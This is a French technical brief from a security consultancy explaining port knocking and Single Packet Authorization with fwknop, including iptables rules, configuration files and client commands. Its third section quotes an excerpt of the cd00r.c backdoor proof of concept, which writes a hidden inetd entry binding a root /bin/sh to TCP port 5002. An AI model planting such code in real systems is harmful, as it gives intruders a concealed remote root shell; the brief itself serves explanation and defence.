HSC
Cabinet de consultants en sécurité informatique depuis 1989 - Spécialisé sur Unix, Windows, TCP/IP et Internet
Mode texte : accès au contenu de la page
Hervé Schauer Consultants
Vous êtes ici : Accueil > Ressources > Brèves > SPA : Single Packet Authorization
Accéder au : Site HSC des formations
Recherche :  
English version
   Services   
o Domaines de compétences
o Conseil & Expertise
o Prestations ISO 27001
o Audit & Évaluation
o Tests d'intrusion
o Tests de vulnérabilités (TSAR)
o Analyse Forensique
o Certification ARJEL
o Formations
o E-learning
   Conférences   
o Agenda
o Interventions passées
o Tutoriels
   Ressources   
o Index thématique
o Brèves
o Présentations
o Cours
o Articles
o Outils (téléchargement)
o Veille en vulnérabilité
   Société   
o Hervé Schauer
o Equipe
o Offres d'emploi
o Références
o Historique
o Partenariats
o Associations
   Presse et
 communication
 
 
o Newsletter HSC
o Bulletin juridique HSC
o Revue de presse
o Communiqués de presse
o Publications
   Contacts   
o Coordonnées
o Requêtes particulières
o Accès à nos locaux
o Hôtels proches de nos locaux
|>|SPA : Single Packet Authorization  

par Stéphane Milani (27/11/07)



========================================================================
Single Packet Authorization (SPA)
========================================================================

Cette brève traite du Single Packet Authorization.

SPA est une méthode et une couche supplémentaire permettant d'établir 
une connexion à une machine qui a ses ports fermés et d'ouvrir un port 
voulu en envoyant un message SPA particulier.
SPA peut être considéré comme une forme dérivée du Port Knocking mais 
les mécanismes utilisés sont sensiblement différents.

Cette brève n'a pas vocation à préconiser l'utilisation ou pas du SPA, 
ce dernier pouvant être utilisé à bon ou mauvais escient, mais 
simplement d'en expliquer brièvement le fonctionnement.
Aussi, les exemples utilisés ici s'appliquent pour un client et un 
serveur se situant sur le même réseau local.


1-- Rappel du fonctionnement du Port Knocking 
========================================================================

Ce concept consiste à frapper à une porte en utilisant une série spéciale 
d'évènements afin de l'ouvrir.

Le Port Knocking est utilisé pour garder tous les ports fermés au public
et de pouvoir ouvrir ou fermer les ports aux utilisateurs qui ont 
correctement utilisés une "knock" séquence particulière.

Typiquement, sur un système informatique, ceci consiste à atteindre 
différents ports dans un ordre précis afin d'ouvrir un port voulu. Ce 
dernier est donc fermé par un pare-feu tant qu'une "knock" séquence 
particulière n'a pas été effectuée. Si un attaquant effectue un scan sur 
le système, le port apparaîtra donc fermé bien que le service correspondant 
soit en fonctionnement, le pare-feu effectuera tout simplement un 
DROP tant que la bonne séquence n'a pas été effectuée.

Par exemple, pour un démon sshd écoutant sur le port TCP 22, nous 
choisissons d'utiliser la "knock" séquence suivante en atteignant 
successivement les port 36, 32 et 30.
Le port 22 sera donc ici ouvert par le pare-feu que si un utilisateur 
initialise des connexions TCP dans le bon ordre sur les 3 ports 
suivants : 36, 32 et 30.
knock ! knock ! knock !

Si un attaquant scan la machine avant que la "knock" séquence ne soit 
effectuée, le port 22 apparait fermé et renvoie un RST/ACK :
$ sudo hping -S -p 22 192.70.106.78
HPING 192.70.106.78 (eth0 192.70.106.78): S set, 40 headers + 0 data bytes
len=40 ip=192.70.106.78 ttl=64 DF id=0 sport=22 flags=RA seq=0 win=0 rtt=0.2 ms
[...]

Si un utilisateur frappe aux bons ports dans le bon ordre, ceci ouvre 
alors le port 22 :
                   SYN
client ---------------------------> port TCP/36 du serveur
client ---------------------------> port TCP/32 du serveur
client ---------------------------> port TCP/30 du serveur

Exemple avec hping et l'envoi de paquets SYN :
$ sudo hping -S -c 1 -p 36 192.70.106.78
$ sudo hping -S -c 1 -p 32 192.70.106.78
$ sudo hping -S -c 1 -p 30 192.70.106.78

Idem avec nmap :
$ sudo nmap -sS -T Polite -p 36,32,30 -r 192.70.106.78

Une fois la séquence correcte effectuée, le port 22 est ouvert pour 
une durée donnée et une adresse IP spécifique :
$ sudo hping -S -p 22 192.70.106.78
HPING 192.70.106.78 (eth0 192.70.106.78): S set, 40 headers + 0 data bytes
len=40 ip=192.70.106.78 ttl=64 DF id=0 sport=22 flags=SA seq=0 win=32792 rtt=0.2 ms
[...]
La machine renvoie bien un SYN/ACK, il est alors possible de 
s'authentifier au serveur SSH. Pour toutes les autres adresses IP, 
le port 22 apparaît toujours fermé.

Un attaquant pourra toutefois tenter une attaque par force brute afin 
de dévouvrir les ports et la séquence corrects, mais cette attaque 
sera détectée assez facilement compte-tenu de son caractère bruyant. 
Pour une séquence TCP en 3 coups (ici les ports 36, 32 et 30), si 
l'attaque porte sur les ports de 1 à 65535, ceci fait donc une valeur 
de l'ordre de 65535 exposant 3, soit environ 281 billions de paquets
pour tester toutes les combinaisons possibles.

Bien que ceci ressemble à de la sécurité par l'obscurité, on comprend 
aisément l'intérêt que peut avoir un attaquant à utiliser le Port 
Knocking pour "obscurcir" sa backdoor (par exemple cd00r.c) et la cacher 
aux administrateurs qui effectuent un scan de ports à distance de leurs 
machines.
De même, un administrateur pourra être tenté de protéger des services, 
ici sshd, contre d'éventuels vulnérabilités non patchées ou de type 0-days, 
puisqu'un attaquant devra d'abord trouver la "knock" séquence particulière 
lui donnant l'accès au port.

L'implémentation du Port Knocking utilise généralement les journaux du 
pare-feu (par exemple ulogd de Netfilter) afin de savoir si un utilisateur 
utilise la bonne séquence. Les accès en lecture aux journaux doivent donc 
être particulièrement protégés. L'utilisation de la libpcap peut quelquefois 
également être utilisée afin de capturer les paquets directement et 
reconnaître la bonne séquence.

Le Port Knocking n'est pas utilisable pour des machines exécutant des 
services publics tels que SMTP ou HTTP et ne peut être utilisé que pour 
des machines fournissant des services à des utilisateurs autorisés qui 
requièrent un accès continuel depuis n'importe quelle location (comme 
SSH ou FTP).


2-- Exemple de script effectuant du Port Knocking avec iptables
========================================================================

Les 3 ports TCP 36, 32 et 30 choisis ici doivent être atteints 
successivement sur un interval de moins de 10 secondes afin d'ouvrir 
le port TCP 22 :

#!/bin/bash
i=/sbin/iptables ## binaire IPTables
sp=22 ## port qui sera ouvert une fois la séquence effectuée
p1=36 ## port à atteindre en premier
p2=32 ## port à atteindre en second
p3=30 ## port à atteindre en troisième
tot=10 ## time out in seconds

$i -N kc
$i -N kc1
$i -N kc2

$i -A INPUT -m state --state NEW -p tcp --dport $sp -m recent --rcheck \
   --name portKnock --seconds $tot -j kc
$i -A INPUT -m state --state NEW -p tcp --dport $p1 -m recent --name portKnock2 \
   --set -j DROP
$i -A INPUT -m state --state NEW -p tcp --dport $p2 -m recent --rcheck \
   --name portKnock2 --seconds $tot -j kc1
$i -A INPUT -m state --state NEW -p tcp --dport $p3 -m recent --rcheck \
   --name portKnock1 --seconds $tot -j kc2

$i -A kc -m recent --name portKnock --remove -j ACCEPT

$i -A kc1 -m recent --name portKnock2 --remove
$i -A kc1 -m recent --name portKnock1 --set -j DROP

$i -A kc2 -m recent --name portKnock1 --remove
$i -A kc2 -m recent --name portKnock --set -j DROP

$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p1 - 1] -m recent \
   --name portKnock2 --remove -j DROP
$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p1 + 1] -m recent \
   --name portKnock2 --remove -j DROP
$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p2 - 1] -m recent \
   --name portKnock1 --remove -j DROP
$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p2 + 1] -m recent \
   --name portKnock1 --remove -j DROP
$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p3 - 1] -m recent \
   --name portKnock --remove -j DROP
$i -A INPUT -m state --state NEW -m tcp -p tcp --dport $[p3 + 1] -m recent \
   --name portKnock --remove -j DROP


3-- Exemple de Port Knocking en C (issu du POC cd00r.c)
========================================================================

/* "knock" séquence particulière spécifiant les ports à atteindre afin 
   d'ouvrir un port voulu */

#define CDR_PORTS		{ 36,32,30,00 }
[...]
unsigned int 	cports[] = CDR_PORTS;
int		cportcnt = 0;
/* which is the next required port ? */
int		actport = 0;

/* Cette fonction est appelée quand la "knock" séquence est bien 
   celle voulue */

void cdr_open_door(void) {
    FILE	*f;

    char	*args[] = {"/usr/sbin/inetd","/tmp/.ind",NULL};

    switch (fork()) {
	case -1: 
#ifdef DEBUG
	    printf("fork() failed !\n");
#endif DEBUG
	    return;
	case 0: 
	    /* To prevent zombies (inetd-zombies look quite stupid) we do
	     * a second fork() */
	    switch (fork()) {
		case -1: _exit(0);
		case 0: /*that's fine */
			 break;
		default: _exit(0);
	    }
	     break;

	default: 
	     wait(NULL);
	     return;
    }

    if ((f=fopen("/tmp/.ind","a+t"))==NULL) return;
    fprintf(f,"5002  stream  tcp     nowait  root    /bin/sh  sh\n");
    fclose(f);

    execv("/usr/sbin/inetd",args);
#ifdef DEBUG
    printf("Strange return from execvp() !\n");
#endif DEBUG
    exit (0);
}


4-- SPA (Single Packet Authorization)
========================================================================

Single Packet Authorization et le Port Knocking utilisent tous les deux 
un filtrage de paquets et collectent passivement de l'information.
Cependant, avec SPA, la "knock" séquence est encodée dans un seul paquet.

Aussi, SPA a plus de possibilités que le Port Knocking et permet de 
contrecarrer les attaques par rejeu, permet d'envoyer plus de données, 
est plus difficile à détecter par les IDS, il n'y a pas de "knock" séquence 
particulière à effectuer sur les ports, et des protocoles qui n'ont pas 
de notion de ports, tels que ICMP ou GRE, peuvent l'utiliser.

Une différence principale entre les deux méthodes est que, pour le Port 
Knocking, la communication des informations s'effectue dans les en-têtes 
des paquets, ce qui limite la quantité de données pouvant être 
transférées. Les champs des en-têtes pour les ports TCP et UDP sont de 
16 bits, ainsi seuls 2 octets d'informations peuvent être transférés 
par paquet dans une "knock" séquence.

Aussi, si un attaquant capture cette séquence, il a donc la possibilité 
d'ouvrir le port voulu. L'utilisation d'un algorithme de chiffrement 
permet d'éviter cela. Cependant, un chiffrement par bloc symétrique, 
avec par exemple une clé de 128 bits, force à envoyer au moins 8 paquets 
si on a 2 octets par paquets. Avec SPA, le payload des paquets est 
directement utilisé pour les données d'authentification.

Une présentation effectuée à BlackHat USA 2005 par MadHat Unspecific et 
Simple Nomad illustre ce concept de SPA.


5-- Fwknop
========================================================================

La première implémentation de SPA a été réalisée en Mai 2005 par Michael 
Rash avec le logiciel Fwknop (FireWall KNock OPerator). SPA fournit une 
architecture similaire au Port Knocking, sauf au niveau de la 
transmission des données qui s'effectue au niveau de la couche 
applicative. Ceci implique qu'au lieu d'envoyer seulement 2 octets 
de données par paquet, SPA est capable d'envoyer une taille de données 
en fonction du MTU utilisé entre le client et le serveur (par exemple 
1500 octets pour un réseau ethernet) et dans chaque paquet. Il est donc 
possible de passer des commandes dans un seul paquet SPA qui seront 
ensuite exécutées sur le serveur Fwknop.

Tous les messages SPA sont chiffrés, soit par l'algorithme de 
chiffrement symétrique Rijndael, soit par une solution de cryptographie 
asymétrique utilisant GPG avec l'algorithme ElGamal. L'intégrité des 
messages est vérifiée par une somme de contrôle MD5 après que le 
message ait été déchiffré.

Un client Fwknop fournit les informations suivantes dans chaque 
message SPA : 16 octets de données aléatoires, le nom de l'utilisateur 
local, le timestamp local, la version de Fwknop, le mode utilisé (accès 
ou commande), l'accès désiré (ou la chaîne de commande), la somme MD5.
Les 16 octets aléatoires servent ici afin de faire en sorte que chaque 
message SPA soit unique. Le serveur Fwknop maintient donc en cache les 
messages pour tenter de bloquer les attaques par rejeu.

Une fois le paquet SPA reçu, le filtrage des paquets est reconfiguré 
par Netfilter.


6-- Intégration de Fwknop avec Netfilter
========================================================================

Fwknop est compatible avec les règles Netfilter existantes et fournit 
sa propre chaîne FWKNOP_INPUT.

Exemple de règle Netfilter utilisant la chaîne FWKNOP_INPUT :
  Chain INPUT (policy DROP)
  FWKNOP_INPUT all -- 0.0.0.0/0 0.0.0.0/0
  ACCEPT all -- 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED
  ACCEPT tcp -- 192.70.106.78 0.0.0.0/0 tcp dpt:22
  ULOG udp -- 0.0.0.0/0 0.0.0.0/0 udp dpt:62201 ULOG copy_range 0 nlgroup 1 \
    prefix `FWKNOP' queue_threshold 1
  Chain FWKNOP_INPUT (1 references)
  ACCEPT tcp -- * * 192.70.106.78 0.0.0.0/0 tcp dpt:22

Le port UDP 62201 est ici utilisé par défaut pour les messages SPA.


7-- Fichiers de configuration de Fwknop
========================================================================

Le fichier /etc/fwknop/fwknop.conf est le suivant :
  EMAIL_ADDRESSES sm@hsc.fr;
  AUTH_MODE PCAP;
  PCAP_INTF eth0;
  ENABLE_PCAP_PROMISC Y;
  PCAP_FILTER udp port 62201;
  PCAP_PKT_FILE /var/log/ulogd.pcap;
  ENABLE_MD5_PERSISTENCE Y;

Le fichier /etc/fwknop/access.conf est le suivant :
  SOURCE: ANY;
  DATA_COLLECT_MODE: ULOG_PCAP;
  OPEN_PORTS: tcp/22;
  KEY: <encryptkey>;
  GPG_HOME_DIR: /root/.gnupg;
  GPG_DECRYPT_ID: serverkeyID;
  GPG_DECRYPT_PW: <motdepasse>;
  GPG_REMOTE_ID: clientkeyID;
  FW_ACCESS_TIMEOUT: 10;
  REQUIRE_USERNAME: sm;


8-- Utilisation de Fwknop
========================================================================

Un utilisateur ne peut pas établir une connexion au serveur sshd avant 
d'avoir transmis le message SPA. Tous les paquets SYN sont donc droppés 
par Netfilter avant l'accès à la pile TCP/IP :
  [client]$ nc -v 192.70.106.78 22

Pour ouvrir le port ssh, un utilisateur doit d'abord envoyer le message
SPA via le client Fwknop :
  [client]$ fwknop --Server-port 62201 -s -k 192.70.106.78
  [+] Starting fwknop in client mode.
  [+] Enter an encryption key. This key must match a key in the file
  /etc/fwknop/access.conf on the remote system.
  Encryption Key:
  [+] Building encrypted single-packet authorization (SPA) message...
  [+] Packet fields:
  Random data: 5728567594694037
  Username: sm
  Timestamp: 1132122416
  Version: 1.8.3
  Action: 1 (access mode)
  Access: 0.0.0.0,none,0
  MD5 sum: e7c714f84f25c28eb3f9e4f6ef82d52d
  [+] Sending 128 byte message to 192.70.106.78 over udp/62201...

Le serveur Fwknop reconfigure alors les règles Netfilter sur le
serveur pour permettre au client de dialoguer avec le serveur SSH.
Il est ensuite possible pour l'utilisateur de se connecter au port
TCP/22 et de s'authentifier avec son client ssh :
  [client]$ nc -v 192.70.106.78 22
  viewlexx.hsc.fr [192.70.106.78] 22 (ssh) open
  SSH-2.0-OpenSSH_4.6p1 Debian-5


9-- Utilisation avec GPG
========================================================================

La paire de clés GPG sur le serveur peut être générée de la façon suivante :
  $ gpg --gen-key
  $ gpg -a --export serverkeyID > serveur-fwknop.asc
La clé publique du serveur doit ensuite être copiée sur le client.

Pour le client :
  $ gpg --gen-key
  $ gpg -a --export clientkeyID > client-fwknop.asc
La clé publique du client doit ensuite être copiée sur le serveur.

Les clés sont ensuite importées et signées.
Sur le client :
  $ gpg --import serveur-fwknop.asc
  $ gpg --edit-key serverkeyID
  Command> sign

Sur le serveur :
  $ gpg --import client-fwknop.asc
  $ gpg --edit-key clientkeyID
  Command> sign

Utilisation avec un client pour se connecter au serveur :
  $ fwknop -A tcp/22 --gpg-recip serverkeyID --gpg-sign clientkeyID -a IPduClient -k IPduServeur

Une fois effectuée, Netfilter est alors reconfiguré et le client peut 
alors se connecter en ssh au serveur :
  $ ssh nomUtilisateur@IPduServeur


10-- Conclusion
========================================================================
Single Packet Authentication ajoute des fonctionnalités intéressantes au 
Port Knocking. Contrairement à ce dernier qui peut générer des alertes 
de scans de ports, SPA ne semble pas créer une empreinte réseau 
suffisamment significative et peut ne pas être détectée par les IDS. 
Pour rappel, le but de cette brève n'était pas de savoir si il s'agit 
de sécurité par l'obscurité ou d'une nouvelle couche de défense en 
profondeur, mais était simplement de présenter le concept du Single 
Packet Authorization et de rappeler brièvement le fonctionnement du 
Port Knocking.


11-- Références
========================================================================

- SPA: Single Packet Authentication
  MadHat Unspecific et Simple Nomad - NMRC
  http://www.dc414.org/download/confs/blackhat2005/BH_US_05_MADHATUNSPECIFIC_S.PDF
  http://www.nmrc.org/dc13/bh2005-mh-sn-spa.ppt
  http://dc214.unspecific.com/blackhat05/

- cd00r.c
  FX of Phenoelit
  http://www.phenoelit-us.org/stuff/cd00r.c

- An Analysis of Port Knocking and Single Packet Authorization
  Sebastien Jeanquier
  http://www.securethoughts.net/spa/

- Single Packet Authorization with Fwknop
  Michael Rash
  http://www.usenix.org/publications/login/2006-02/pdfs/rash.pdf

- Fwknop
  http://www.cipherdyne.org/fwknop/

- Port Knocking
  http://www.portknocking.org/

- Port Knocking with IPTables
  http://www.neep.co.uk/index.php?tab=Projects&menu=Port%20Knocking

- iptables
  http://www.netfilter.org/

- ulogd
  http://netfilter.org/projects/ulogd/index.html

- libpcap
  http://www.tcpdump.org/

- hping
  http://www.hping.org/

- IANA ports numbers
  http://www.iana.org/assignments/port-numbers

- Security through obscurity
  http://www.catb.org/~esr/jargon/html/S/security-through-obscurity.html

========================================================================
Stéphane Milani - Hervé Schauer Consultants
========================================================================



Dernière modification le 6 décembre 2007 à 16:45:31 CET - webmaster@hsc.fr
Informations sur ce serveur - © 1989-2013 Hervé Schauer Consultants